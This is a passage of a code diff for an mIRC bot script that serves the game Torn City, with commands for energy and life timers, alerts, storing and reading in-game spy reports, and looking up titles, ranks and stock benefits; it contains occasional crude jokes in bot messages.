+            if ($1 == Energy:) { msg # $tc.col(2) $+ $nick $+ $tc.col(6) $+ , you can do $+ $tc.col(2) %atks $tc.col(6) $+ attacks! } 
+            else { msg # $tc.col(5) $+ You are already at full $remove($1,$chr(58)) $+ ! }
+          }
+          else { 
+            if ($1 == Energy:) { set %tc.echk $nick }
+          }
+          halt
+        }
+        if (%cur == 0 && $1 == Life:) { msg # $tc.col(2) $+ $nick $+ $tc.col(5) $+ , you are at zero life. Someone attacked you but hasn't chosen an action yet! | halt }
+        var %tick = 0, %gen = %cur
+        while (%gen < %max) { 
+          inc %tick 
+          var %time = $int($calc((($tc.time / 60) / %restime) + %tick))
+          var %gen = $calc(%gen + %pertick) 
+        }
+        var %curtime = $asctime($tc.time,h:nn tt) 
+        var %fulltime = $asctime($calc((%time * %restime) * 60),h:nn tt), %fulldur = $duration($calc(((%time * %restime) * 60) - $tc.time))
+        var %duration = $calc(((%time * 60) * %restime) - $tc.time)
+        if (%res == life) { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , the current time is: $+ $tc.col(2) %curtime $tc.col(1) $+ so your %res bar should be full in $+ $tc.col(2) %fulldur $tc.col(1) $+ ( $+ $tc.col(2) $+ %fulltime $tc.col(1) $+ GMT/TC Time.), healing for $+ $tc.col(2) $tc.addComma(%pertick) $tc.col(1) $+ life every $+ $tc.col(2) %restime $tc.col(1) $+ minutes to the hour. }
+        else { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , the current time is: $+ $tc.col(2) %curtime $tc.col(1) $+ so your %res bar should be full in $+ $tc.col(2) %fulldur $tc.col(1) $+ ( $+ $tc.col(2) $+ %fulltime $tc.col(1) $+ GMT/TC Time.) }
+        if (%duration > 172800) { 
+          if ($1 == Happy:) { msg # $tc.col(5) $+ Yea, no. Timer too long. Go watch some porn or rehab... }
+          else { msg # $tc.col(5) $+ Yea, no. Timer too long. }
+        }
+        else { .timer $+ $nick $+ .tc. $+ %res -co 1 %duration .msg $nick $tc.col(1) $+ You are at full %res $+ ! }
+      } 
+      else { msg # $tc.col(5) $+ Garbage in, garbage out. }
+    }
+
+    if ($1 == !alert || $1 == !alerts) {
+      if ($2 == off) { .timer $+ $nick $+ .tc.* off | msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , all your alerts have been cancelled. }
+      else { 
+        var %loc = $timer(0) | var %point = 1 | var %count = 0
+        while (%point <= %loc) { 
+          if ($gettok($timer(%point),1,46) == $nick && $gettok($timer(%point),2,46) == tc) { 
+            if (!%count) { msg # $tc.col(1) $+ Alerts for $+ $tc.col(2) $nick $+ $tc.col(1) $+ : } 
+            inc %count 
+            if (!$istok(a5 s5,$gettok($timer(%point),2,46),32)) { msg # $eval($strip($gettok($timer(%point).com,3-,32),u),2) $+ $chr(32) $+ $tc.col(1) $+ - $+ $tc.col(2) $duration($calc($timer(%point).secs)) $tc.col(1) $+ remaining } 
+          } 
+          inc %point 
+        }
+        if (!%count) { msg # $tc.col(2) $+ $nick $+ $tc.col(5) $+ , you have no alerts set! } 
+      }
+    }
+
+    ; --------------------------------- spy storage commands ---------------------------------
+
+    if ($readini($tc.cfgfile,n,Config,spyen) == yes) {
+      if (%tc.spy == $nick) {
+        var %tablename = spy. $+ %tc.spy
+        if ($istok(Strength: Speed: Defense: Dexterity: Total:,$1,32)) { 
+          .timer $+ 0.tcflag.spyauto off 
+          .timer $+ %tc.spy $+ .spy -co 1 5 tc.spysave 
+        }
+        if ($1 == Name:) { 
+          hadd -m %tablename name $2
+          hadd -m %tablename id $remove($3,$chr(91),$chr(93)) 
+        }
+        if ($1 == Level:) { hadd -m %tablename lvl $2 }
+        if ($1 == Strength:) { hadd -m %tablename str $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Speed:) { hadd -m %tablename spd $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Defense:) { hadd -m %tablename def $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Dexterity:) { hadd -m %tablename dex $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Total:) { hadd -m %tablename totb $remove($2,$chr(44),$chr(32)) }
+      }
+
+      if (%tc.oldspy == $nick) {
+        var %tablename = spy. $+ %tc.oldspy
+        if ($istok(Name: Level: Strength: Speed: Defense: Dexterity: Total: Manual Intelligence: Endurance: Money:,$1,32)) { 
+          .timer $+ 0.tcflag.spyauto off 
+          .timer $+ %tc.oldspy $+ .spy -co 1 5 tc.spysave
+        }
+        if ($1 == Name:) { 
+          hadd -m %tablename name $2
+          hadd -m %tablename id $remove($3,$chr(91),$chr(93)) 
+        }
+        if ($1 == Level:) { hadd -m %tablename lvl $2 }
+        if ($1 == Strength:) { hadd -m %tablename str $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Speed:) { hadd -m %tablename spd $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Defense:) { hadd -m %tablename def $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Dexterity:) { hadd -m %tablename dex $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Total:) { 
+          if ($hget(%tablename,end)) { hadd -m %tablename totw $remove($2,$chr(44),$chr(32)) }
+          else { hadd -m %tablename totb $remove($2,$chr(44),$chr(32)) }
+        }
+        if ($1 == Manual) { hadd -m %tablename man $remove($3,$chr(44),$chr(32)) }
+        if ($1 == Intelligence:) { hadd -m %tablename int $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Endurance:) { hadd -m %tablename end $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Money:) { hadd -m %tablename cash $remove($2,$chr(36),$chr(44),$chr(32)) }
+      }
+
+      if ($1 == !purgespy || $1 == !spypurge) { 
+        msg # $tc.col(1) $+ The spy storage script should be 'unstuck' now. Sorry about that...
+        .timer0.tcflag.spyauto off | unset %tc.spy | unset %tc.oldspy | unset %tc.spychan | unset %tcsprof.* 
+      }
+
+      if ($1 == !addspy || $1 == !storespy) {
+        if (%tc.oldspy != $null || %tc.spy != $null) { msg # $tc.col(5) $+ I'm already watching for a spy paste! | halt }
+        elseif (($2 == $null) || (auto !isin $2- && $numtok($2-,32) < 7)) { msg # $tc.addspyhelp | halt } 
+        elseif ($2 == old && $3 == $null) { var %spyoldauto = 1 }
+        elseif ($3 == old && $4 == $null) { var %spyoldauto = 1 }
+        elseif ($4 == old && $5 == $null) { var %spyoldauto = 1, %spyname = $remove($2,$chr(32)), %spyid = $remove($3,$chr(32),$chr(93),$chr(91)) }
+        elseif ($2 == auto && $3 == $null) { var %spyauto = 1 }
+        elseif ($3 == auto && $4 == $null) { msg # $tc.addspyhelp | halt }
+        elseif ($4 == auto && $5 == $null) { var %spyauto = 1, %spyname = $remove($2,$chr(32)), %spyid = $remove($3,$chr(32),$chr(93),$chr(91)) }
+        else { 
+          var %tablename = spy. $+ $nick
+          var %chk = 1, %chkstr = $replace($2-,Strength:,$chr(32) $+ Strength:,Speed:,$chr(32) $+ Speed:,Dexterity:,$chr(32) $+ Dexterity:,Defense:,$chr(32) $+ Defense:,Total:,$chr(32) $+ Total:)
+          while (%chk < $numtok(%chkstr,32)) {
+            if ($gettok(%chkstr,%chk,32) == Speed:) { var %spd = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Strength:) { var %str = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Defense:) { var %def = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Dexterity:) { var %dex = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Total:) { var %tot = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) | var %totmark = $calc(%chk + 1) } 
+            inc %chk
+          }
+          if (%spd == $null) {
+            var %chkspd = $tc.cleanN($5)
+            if (%chkspd isnum) { var %spd = %chkspd }
+          }
+          if (%str == $null) {
+            var %chkstr = $tc.cleanN($4)
+            if (%chkstr isnum) { var %str = %chkstr }
+          }
+          if (%def == $null) { 
+            var %chkdef = $tc.cleanN($7)
+            if (%chkdef isnum) { var %def = %chkdef }
+          }
+          if (%dex == $null) {
+            var %chkdex = $tc.cleanN($6)
+            if (%chkdex isnum) { var %dex = %chkdex) }
+          }
+          if (%tot == $null) {
+            var %chktot = $tc.cleanN($8)
+            if (%chktot isnum) { var %tot = %chktot }
+          }
+          if (%totmark != $null) {
+            var %clnstart = 1, %fac = $2-
+            while (%clnstart <= %totmark) { var %fac = $deltok(%fac,1,32) | inc %clnstart }
+          }
+          elseif ($9 != $null) { var %fac = $9- }
+          else { var %fac = $null }
+          hadd -m %tablename name $2 
+          hadd -m %tablename id $remove($3,$chr(91),$chr(93))
+          hadd -m %tablename spd %spd
+          hadd -m %tablename str %str
+          hadd -m %tablename def %def
+          hadd -m %tablename dex %dex
+          hadd -m %tablename totb %tot
+          if (%fac != $null) { hadd -m %tablename fact %fac }
+          set %tc.spychan #
+          set %tc.spy $nick 
+          tc.spysave  
+        } 
+        if (%spyoldauto != $null) {
+          set %tc.oldspy $nick 
+          set %tc.spychan #
+          if (%tablename == $null) { var %tablename = spy. $+ $nick }
+          if (%spyname != $null) { hadd -m %tablename name %spyname }
+          if (%spyid != $null) { hadd -m %tablename id %spyid }
+          .timer $+ 0.tcflag.spyauto 1 10 tc.spycancel #
+          msg # $tc.col(1) $+ Go ahead and paste your pre-RESPO spy report $+ $tc.col(2) $nick $+ $tc.col(1) $+ , I'm watching for it. I will attempt to save after or cancel 10 seconds. $tc.col(8) $+ If the bot gets stuck, use !purgespy to fix.       
+        }
+        if (%spyauto != $null) {
+          set %tc.spy $nick 
+          set %tc.spychan #
+          if (%tablename == $null) { var %tablename = spy. $+ $nick }
+          if (%spyname != $null) { hadd -m %tablename name %spyname }
+          if (%spyid != $null) { hadd -m %tablename id %spyid }
+          .timer $+ 0.tcflag.spyauto 1 10 tc.spycancel #
+          msg # $tc.col(1) $+ Go ahead and paste your spy report $+ $tc.col(2) $nick $+ $tc.col(1) $+ , I'm watching for it. I will attempt to save or cancel after 10 seconds. $tc.col(8) $+ If the bot gets stuck, use !purgespy to fix.
+        }
+      }
+
+      if ($1 == !spy || $1 == !read) {
+        if ($2 == $null) { msg # $tc.col(3) $+ Displays stored spy record. $tc.col(1) $+ Usage: $tc.col(2) $+ !spy Name $tc.col(1) $+ or $+ $tc.col(2) !read ID | halt }
+        if ($exists($tc.spyfile)) { 
+          var %ptr = 1, %eof = $lines($tc.spyfile) 
+          while (%ptr <= %eof) {
+            if ($1 == !read) { var %look = $gettok($read($tc.spyfile,%ptr),2,9) }
+            else { var %look = $gettok($read($tc.spyfile,%ptr),1,9) }
+            if (%look == $2) { var %loc = %ptr | break }
+            inc %ptr
+          }
+        }
+        if (%loc != $null) {
+          var %name = $gettok($read($tc.spyfile,%loc),1,9) 
+          var %id = $gettok($read($tc.spyfile,%loc),2,9)
+          var %lvl = $gettok($read($tc.spyfile,%loc),3,9) 
+          var %fact = $gettok($read($tc.spyfile,%loc),4,9)
+          var %spd = $gettok($read($tc.spyfile,%loc),5,9) 
+          var %str = $gettok($read($tc.spyfile,%loc),6,9) 
+          var %def = $gettok($read($tc.spyfile,%loc),7,9) 
+          var %dex = $gettok($read($tc.spyfile,%loc),8,9)    
+          var %totb = $gettok($read($tc.spyfile,%loc),9,9) 
+          var %man = $gettok($read($tc.spyfile,%loc),10,9) 
+          var %int = $gettok($read($tc.spyfile,%loc),11,9) 
+          var %end = $gettok($read($tc.spyfile,%loc),12,9)  
+          var %totw = $gettok($read($tc.spyfile,%loc),13,9) 
+          var %cash = $gettok($read($tc.spyfile,%loc),14,9)  
+          var %aname = $gettok($read($tc.spyfile,%loc),15,9) 
+          var %adate = $gettok($read($tc.spyfile,%loc),16,9)
+          var %ctotb = $calc(%spd + %str + %def + %dex)
+          var %bknown = 0
+          if (%spd == 0) { var %dspd = $tc.col(7) $+ N/A } | else { inc %bknown | var %dspd = $tc.addComma(%spd) }
+          if (%str == 0) { var %dstr = $tc.col(7) $+ N/A } | else { inc %bknown | var %dstr = $tc.addComma(%str) }
+          if (%def == 0) { var %ddef = $tc.col(7) $+ N/A } | else { inc %bknown | var %ddef = $tc.addComma(%def) }
+          if (%dex == 0) { var %ddex = $tc.col(7) $+ N/A } | else { inc %bknown | var %ddex = $tc.addComma(%dex) }
+          if (%man == 0) { var %dman = $tc.col(7) $+ N/A } | else { var %dman = $tc.addComma(%man) }
+          if (%int == 0) { var %dint = $tc.col(7) $+ N/A } | else { var %dint = $tc.addComma(%int) }
+          if (%end == 0) { var %dend = $tc.col(7) $+ N/A } | else { var %dend = $tc.addComma(%end) }
+          if (%lvl == 0) { var %dlvl = N/A } | else { var %dlvl = %lvl }
+          if (%cash == -1) { var %dcash = $tc.col(7) $+ N/A }
+          else { 
+            if (%cash > 100000000) { var %dcash = $tc.col(6) $+ $chr(36) $+ $tc.addComma(%cash) }
+            else { var %dcash = $tc.col(2) $+ $chr(36) $+ $tc.addComma(%cash) }
+          }                    
+          var %msgline = $tc.col(1) $+ Spy entry for: $+ $tc.col(2) %name $tc.colid(%id,1,2) $tc.col(1) $+ (Lvl: $+ $tc.col(2) %dlvl $tc.col(1) $+ - Fact: $+ $tc.col(2) %fact $+ $tc.col(1) $+ ) - Added on $+ $tc.col(2) $asctime(%adate,mmm d) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%adate,h:nn:ss tt) $tc.col(8) $+ ( $+ $duration($calc($tc.time - %adate)) ago)
+          if ($calc($tc.time - %adate) >= 2592000) { var %msgline = %msgline $+ $chr(32) $+ $tc.col(7) $+ [OLD] }
+          msg # %msgline
+          msg # $tc.col(1) $+ Speed: $+ $tc.col(2) %dspd $tc.col(1) $+ - ( $+ $tc.col(2) $+ $round($calc((%spd / %ctotb) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ )
+          msg # $tc.col(1) $+ Strength: $+ $tc.col(2) %dstr $tc.col(1) $+ - ( $+ $tc.col(2) $+ $round($calc((%str / %ctotb) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ )
+          msg # $tc.col(1) $+ Defense: $+ $tc.col(2) %ddef $tc.col(1) $+ - ( $+ $tc.col(2) $+ $round($calc((%def / %ctotb) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ )
+          msg # $tc.col(1) $+ Dexterity: $+ $tc.col(2) %ddex $tc.col(1) $+ - ( $+ $tc.col(2) $+ $round($calc((%dex / %ctotb) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ )        
+          var %msgline $tc.col(1) $+ Total:
+          if (%totb == 0 && %bknown != 4) { var %msgline = %msgline $+ $tc.col(1) Showing $+ $tc.col(2) $tc.addComma(%ctotb) $tc.col(1) $+ - $tc.col(7) $+ Unknown number of remaining stats. }
+          elseif (%totb != 0 && %totb != %ctotb && $calc(%totb - %ctotb) > 1) { var %msgline = %msgline $+ $tc.col(2) $tc.addComma(%ctotb) $+ $tc.col(1) $+ / $+ $tc.col(2) $+ $tc.addComma(%totb) $tc.col(1) $+ ( $+ $tc.col(2) $+ $round($calc((%ctotb / %totb) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ ) recorded stats accounted for, $tc.col(2) $+ $tc.addComma($calc(%totb - %ctotb)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $round($calc(((%totb - %ctotb) / %totb) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ ) missing. }
+          else { var %msgline = %msgline $+ $tc.col(2) $tc.addComma(%ctotb) $tc.col(1) $+ - $tc.col(6) $+ All stats accounted for. } 
+          msg # %msgline
+          ; msg # $tc.col(1) $+ Man: $+ $tc.col(2) %dman $tc.col(1) $+ - Int: $+ $tc.col(2) %dint $tc.col(1) $+ - End: $+ $tc.col(2) %dend $tc.col(1) $+ - Cash: %dcash
+        }
+        else { msg # $tc.col(5) $+ Requested spy not found. }
+      }
+
+      if ($1 == !delspy) {
+        tc.chkaccess delspy $nick #   
+        if ($2 == $null) { msg # $tc.col(3) $+ Deletes spy from bot. $tc.col(1) $+ Usage: $tc.col(2) $+ !delspy Name/TornID | halt }
+        if ($exists($tc.spyfile)) { 
+          var %eof = $lines($tc.spyfile) | var %ptr = 1
+          while (%ptr <= %eof) {
+            var %read = $read($tc.spyfile,%ptr)
+            if ($2 isnum) { var %look = $gettok(%read,2,9) }
+            else { var %look = $gettok(%read,1,9) }
+            if (%look == $2) { 
+              write -dl $+ %ptr $tc.spyfile 
+              msg # $tc.col(1) $+ Deleted spy entry for $+ $tc.col(2) $gettok(%read,1,9) $tc.colid($gettok(%read,2,9),1,2) 
+              halt 
+            }
+            inc %ptr
+          }
+        }
+        msg # $tc.col(5) $+ Spy not found. 
+      }
+
+      if ($1 == !findspy || $1 == !spyfind) {
+        if ($2 == $null) { msg # $tc.col(3) $+ Searches for spy entries within a faction. $tc.col(1) $+ Usage: $tc.col(2) $+ !findspy FactionName | halt }
+        var %sptr = 0, %cptr = 1, %ptr = 1, %eof = $lines($tc.spyfile), %chanline = $null
+        while (%ptr <= %eof) {
+          var %read = $read($tc.spyfile,%ptr)
+          if ($2- isin $gettok(%read,4,9)) { 
+            if (%sptr == 0) { msg # $tc.col(1) $+ List of Spies found for: $+ $tc.col(2) $2- }
+            var %chanline = %chanline $+ $tc.col(2) $+ $chr(32) $+ $gettok(%read,1,9) $tc.colid($gettok(%read,2,9),1,2) $+ $tc.col(1) $+ $chr(44) 
+            inc %cptr | inc %sptr
+            if (%cptr == 7) { msg # %chanline | var %chanline = $null, %cptr = 1 } 
+          }      
+          inc %ptr
+        }
+        if (%chanline != $null) { msg # $left(%chanline,$calc($len(%chanline) - 1)) $+ $chr(46) }
+        if (%sptr == 0) { msg # $tc.col(5) $+ There are no spies stored with $+ $tc.col(2) $2- $tc.col(5) $+ in their faction name. }
+        else { msg # $tc.col(1) $+ Total spies with $+ $tc.col(2) $2- $tc.col(1) $+ in faction name: $+ $tc.col(2) %sptr }
+      }
+    }
+
+    ; --------------------------------- title info lookup command ---------------------------------
+
+    if ($1 == !title) {
+      if ($2 == $null) { 
+        msg # $tc.col(3) $+ Displays brief title info. $tc.col(1) $+ Usage: $tc.col(2) $+ !title TitleName $tc.col(1) $+ - Info pulled from: $+ $tc.col(2) http://www.torn.com/forums.php#!p=threads&f=61&t=15910948&b=0&a=0 $tc.col(1) $+ - Thread credit: $tc.col(2) $+ philoten $tc.colid(1646213,1,2)
+        msg # $tc.col(1) $+ Note: $tc.col(4) $+ Title's are given based on your highest "rank" for each category. For example, you could be ranked 10k across torn for successful runaways and ranked over 20k for everything else; you will get the "Coward" title regardless of how many you've actually done.
+        halt 
+      }      
+      if ($2 == Antagonist || $2 == defend || $2 == defends) { var %name = Antagonist, %info = has a lot of successful defends. }
+      if ($2 == Bondsman || $2 == bails || $2 == bail) { var %name = Bondsman, %info = has bailed a lot of people from jail. }
+      if ($2 == Booster) { var %name = Booster, %info = has taken a large number of stat enhancers. }
+      if ($2 == Buster || $2 == busts || $2 == bust) { var %name = Buster, %info = has busted many people out of jail. }
+      if ($2 == Citizen) { var %name = Citizen, %info = has been active but is not a new player. }
+      if ($2 == Coward || $2 == pussy) { var %name = Coward, %info = runs away from a fight often. }
+      if ($2 == Damage) { var %name = Damage Dealer, %info = has done a large amount of total damage. }
+      if ($2 == Deserter || $2 == inactive) { var %name = Deserter, %info = has been inactive for 30+ days. }
+      if ($2 == Druggy || $2 == drugs) { var %name = Druggy, %info = has taken a lot of drugs. }
+      if ($2 == Egotist || $2-3 == bounties placed || $2-3 == bounties added || $2-3 == bounties given) { var %name = Egotist, %info = has placed a lot of bounties. }
+      if ($2 == Felon || $2-3 == jailed) { var %name = Felon, %info = has been jailed often. }
+      if ($2 == Healer || $2 == revives) { var %name = Healer, %info = has revived many people. }
+      if ($2 == Hitman || $2-3 == bounties collect || $2-3 == bounties collected) { var %name = Hitman, %info = has collected many bounties. }
+      if ($2 == Hoarder || $2 == points) { var %name = Hoarder, %info = has bought many points from the market. }
+      if ($2 == Importer) { var %name = Importer, %info = has bought a lot of items from abroad. }
+      if ($2 == Intimidator || $2 == runaways) { var %name = Intimidator, %info = has many people running away from them in a fight. }
+      if ($2 == Investor || $2 == bank) { var %name = Investor, %info = has invested a lot of cash with the bank. }
+      if ($2 == Jobsworth || $2 == director) { var %name = Jobsworth, %info = has been trained often by a director. }
+      if ($2 == Killer || $2 == attack || $2 == attacks) { var %name = Killer, %info = has successfully done a lot of attacks. }
+      if ($2 == Loser || $2 == lose || $2 == lost) { var %name = Loser, %info = has lost a lot of attacks. }
+      if ($2 == Marksman || $2 == crit || $2 == critical) { var %name = Marksman, %info = has done a lot of critical hits. }
+      if ($2 == Merchant || $2 == buy || $2 == items) { var %name = Merchant, %info = has bought a lot of items from the market. }
+      if ($2 == Newcomer || $2 == new || $2 == newbie) { var %name = Newcomer, %info = is under 7 days old, or under 30 days old without playing. }
+      if ($2 == One) { var %name = One Hit Killer, %info = with a lot of one hit kills. }
+      if ($2 == Outcast || $2-3 == bounties received) { var %name = Outcast, %info = has received a lot of bounties. }
+      if ($2 == Punchbag || $2-3 == defends lost) { var %name = Punchbag, %info = has lost a lot of defends. }
+      if ($2 == Samaritan || $2 == giver) { var %name = Samaritan, %info = has given many items away. }
+      if ($2 == Sage || $2 == education || $2 == edu) { var %name = Sage, %info = has completed many education courses. }
+      if ($2 == Scavenger || $2 == dump) { var %name = Scavenger, %info = has searched the dump many times. }
+      if ($2 == Silent || $2 == stealth || $2 == stealths || $2 == fart) { var %name = Silent Killer, %info = often stealths their attacks. }
+      if ($2 == Soldier || $2 == respect) { var %name = Soldier, %info = has earned a lot of respect. }
+      if ($2 == Socialite || $2 == mails) { var %name = Socialite, %info = has sent a lot of mails. }
+      if ($2 == Tank || $2 == stalemate) { var %name = Tank, %info = has stalemated often. }
+      if ($2 == Thief || $2 == Theif || $2 == mug || $2 == mugs) { var %name = Thief, %info = has mugged often. }
+      if ($2 == Tourist || $2 == fly || $2 == flying) { var %name = Tourist, %info = has flown a lot. }
+      if ($2 == Trader || $2 == trade || $2 == trades || $2 == trading) { var %name = Trader, %info = has traded often. }
+      if ($2 == Tycoon || $2 == bazaar) { var %name = Tycoon, %info = had lots of bazaar customers. }
+      if ($2 == Absolute) { var %name = Absolute Beginner, %rank = 1 }
+      if ($2 == Beginner) { var %name = Beginner, %rank = 2 }
+      if ($2 == Inexperienced) { var %name = Inexperienced, %rank = 3 }
+      if ($2 == Rookie) { var %name = Rookie, %rank = 4 }
+      if ($2 == Novice) { var %name = Novice, %rank = 5 }
+      if ($2 == Below) { var %name = Below Average, %rank = 6 }
+      if ($2 == Average) { var %name = Average, %rank = 7 }
+      if ($2 == Reasonable) { var %name = Reasonable, %rank = 8 }
+      if ($2 == Above) { var %name = Above Average, %rank = 9 }
+      if ($2 == Competent || $2 == Competant) { var %name = Competent, %rank = 10 }
+      if ($2 == Veteran) { var %name = Veteran, %rank = 12 }
+      if ($2 == Distinguished) { var %name = Distinguished, %rank = 13 }
+      if ($2 == Highly) {
+        if ($3 == Competent || $3 == Competant) { var %name = Highly Competent, %rank = 11 }
+        elseif ($3 == Distinguished) { var %name = Highly Distinguished, %rank = 14 }
+        else { 
+          msg # $tc.col(5) $+ Do you mean $tc.col(2) $+ Highly Competent $tc.col(5) $+ or $+ $tc.col(2) Highly Distinguished $+ $tc.col(5) $+ ? 
+          var %stfu 1
+        }
+      }
+      if ($2 == Professional || $2 == Pro) { var %name = Professional, %rank = 15 }
+      if ($2 == Star) { var %name = Star, %rank = 16 }
+      if ($2 == Master) { var %name = Master, %rank = 17 }
+      if ($2 == Outstanding) { var %name = Outstanding, %rank = 18 }
+      if ($2 == Celebrity || $2 == Celeb) { var %name = Celebrity, %rank = 19 }
+      if ($2 == Supreme) { var %name = Supreme, %rank = 20 }
+      if ($2 == Idolised || $2 == Idol) { var %name = Idolised, %rank = 21 }
+      if ($2 == Champion || $2 == Champ) { var %name = Champion, %rank = 22 }
+      if ($2 == Heroic || $2 == Hero) { var %name = Heroic, %rank = 23 }
+      if ($2 == Legendary || $2 == Legend) { var %name = Legendary, %rank = 24 }
+      if ($2 == Elite) { var %name = Elite, %rank = 25 }
+      if ($2 == Invincible) { var %name = Invincible, %rank = 26 }
+
+      if (%name != $null) {
+        if (%rank) {
+          if (%rank == 1) { 
+            msg # $tc.col(1) $+ The rank $+ $tc.col(2) %name $tc.col(1) $+ is the $+ $tc.col(2) $ord(%rank) $tc.col(1) $+ and initial rank.
+          }
+          elseif (%rank == 26) { 
+            msg # $tc.col(1) $+ The rank $+ $tc.col(2) %name $tc.col(1) $+ is the $+ $tc.col(2) $ord(%rank) $tc.col(1) $+ and final rank.
+          }
+          else {
+            msg # $tc.col(1) $+ The rank $+ $tc.col(2) %name $tc.col(1) $+ is the $+ $tc.col(2) $ord(%rank) $tc.col(1) $+ rank.
+          }
+          msg # $tc.col(8) $+ You gain ranks by gaining levels, doing crimes, raising battle stats, and obtaining a higher networth. Complete list: http://www.torn.com/forums.php#!p=threads&f=2&t=15958269&b=0&a=0
+        } 
+        else {
+          if (%info != $null) { msg # $tc.col(1) $+ The title $+ $tc.col(2) %name $tc.col(1) $+ is awarded to a player that $+ $tc.col(2) %info }
+          else { msg # $tc.col(5) $+ I don't know how to get the title of $+ $tc.col(2) %name $tc.col(5) $+ at the moment, sorry. }
+        }
+      }
+      else { if (!%stfu) { msg # $tc.col(5) $+ Sorry, I have no idea what $+ $tc.col(2) $2- $tc.col(5) $+ is. } }
+    }
+
+    ; --------------------------------- stock info lookup command ---------------------------------
+
+    if ($1 == !stock) {
+      if ($2 == $null) { msg # $tc.col(3) $+ Displays brief stock info. $tc.col(1) $+ Usage: $tc.col(2) $+ !stock Acronym $tc.col(1) $+ - Stock index: $+ $tc.col(2) http://www.torn.com/stockexchange.php | halt }
+      if ($2 == tcse) { 
+        var %name = Torn City Stock Exchange, %sym = TCSE, %link = 0        
+      }
+      if ($2 == tcsb) { 
+        var %name = Torn City and Shanghi Banking Corporation, %sym = TCSB, %link = 1
+        var %perf = The performance of this stock relies upon the amount of money in company banks.
+        var %bene = You are entitled to receive occasional dividends when holding at least 4,000,000 shares.
+      }
+      if ($2 == tcb) { 
+        var %name = Torn City Investment Banking, %sym = TCB, %link = 2
+        var %perf = The performance of this stock relies upon the total money invested in the bank.
+        var %bene = You are entitled to receive improved interest rates when holding at least 1,500,000 shares.
+      }
+      if ($2 == sys) { 
+        var %name = Syscore MFG, %sym = SYS, %link = 3
+        var %bene = You are entitled to receive supreme firewall software for you and your company when holding at least 3,000,000 shares.
+      }
+      if ($2 == slag) { 
+        var %name = Society and Legal Authorities Group, %sym = SLAG, %link = 4
+        var %perf = The performance of this stock relies upon the amount of people in jail.
+        var %bene = You are entitled to receive business cards from our lawyers when holding at least 1,500,000 shares.
+      }
+      if ($2 == iou) { 
+        var %name = Insured On Us, %sym = IOU, %link = 5
+        var %bene = You are entitled to receive occasional dividends when holding at least 3,000,000 shares.
+      }
+      if ($2 == grn) { 
+        var %name = Grain, %sym = GRN, %link = 6
+        var %bene = You are entitled to receive occasional dividends when holding at least 500,000 shares.
+      }
+      if ($2 == tchs) { 
+        var %name = Torn City Health Service, %sym = TCHS, %link = 7
+        var %perf = The performance of this stock relies upon the amount of people in hospital.
+        var %bene = You are entitled to receive occasional medical packs when holding at least 150,000 shares.
+      }
+      if ($2 == yaz) { 
+        var %name = Yazoo, %sym = YAZ, %link = 8
+        var %bene = You are entitled to receive free banner advertisement in the local newspaper when holding at least 1,000,000 shares.
+      }
+      if ($2 == tct) { 
+        var %name = The Torn City Times, %sym = TCT, %link = 9
+        var %perf = The performance of this stock relies upon the amount of classified advertisements.
+        var %bene = You are entitled to receive free personal placements in the newspaper when holding at least 125,000 shares.
+      }
+      if ($2 == cnc) { 
+        var %name = Crude & Co., %sym = CNC, %link = 10
+        var %bene = You are entitled to receive discounted oil rig costs and an oil rig company profit boost when holding at least 5,000,000 shares.
+      }
+      if ($2 == msg) { 
+        var %name = Messaging Inc., %sym = MSG, %link = 11
+        var %bene = You are entitled to receive free advertisement placements in the newspaper when holding at least 300,000 shares.
+      }
+      if ($2 == tmi) { 
+        var %name = TC Music Industries, %sym = TMI, %link = 12
+      }
+      if ($2 == tcp) { 
+        var %name = TC Media Productions, %sym = TCP, %link = 13
+        var %perf = The performance of this stock relies upon the amount of company advertising campaigns.
+        var %bene = You are entitled to receive support for your company (if you are the owner) which should result in a 10% bonus to profits when holding at least 1,000,000 shares.
+      }
+      if ($2 == iil) { 
+        var %name = I Industries Ltd., %sym = IIL, %link = 14
+        var %perf = The performance of this stock relies upon amount of computers purchased.
+        var %bene = You are entitled to receive software to improve coding time by 50% when holding at least 100,000 shares.
+      }
+      if ($2 == fhc || $2 == fhg) { 
+        var %name = Feathery Hotel Group, %sym = FHG, %link = 15
+        var %perf = The performance of this stock relies upon the amount of refills people have made.
+        var %bene = You are entitled to receive occasional coupons to stay in our hotels when holding at least 2,000,000 shares.
+      }
+      if ($2 == sym) { 
+        var %name = Symbiotic Ltd., %sym = SYM, %link = 16
+        var %bene = You are entitled to receive occasional drug packs when holding at least 500,000 shares.
+      }
+      if ($2 == lsc) { 
+        var %name = Lucky Shots Casino, %sym = LSC, %link = 17
+        var %perf = The performance of this stock relies upon the amount the casino gains from people losing.
+        var %bene = You are entitled to receive occasional packs of 100x lottery tickets when holding at least 100,000 shares.
+      }
+      if ($2 == prn) { 
+        var %name = Performance Ribaldry Network, %sym = PRN, %link = 18
+        var %bene = You are entitled to receive occasional erotic DVDs when holding at least 1,500,000 shares.
+      }
+      if ($2 == ewm) { 
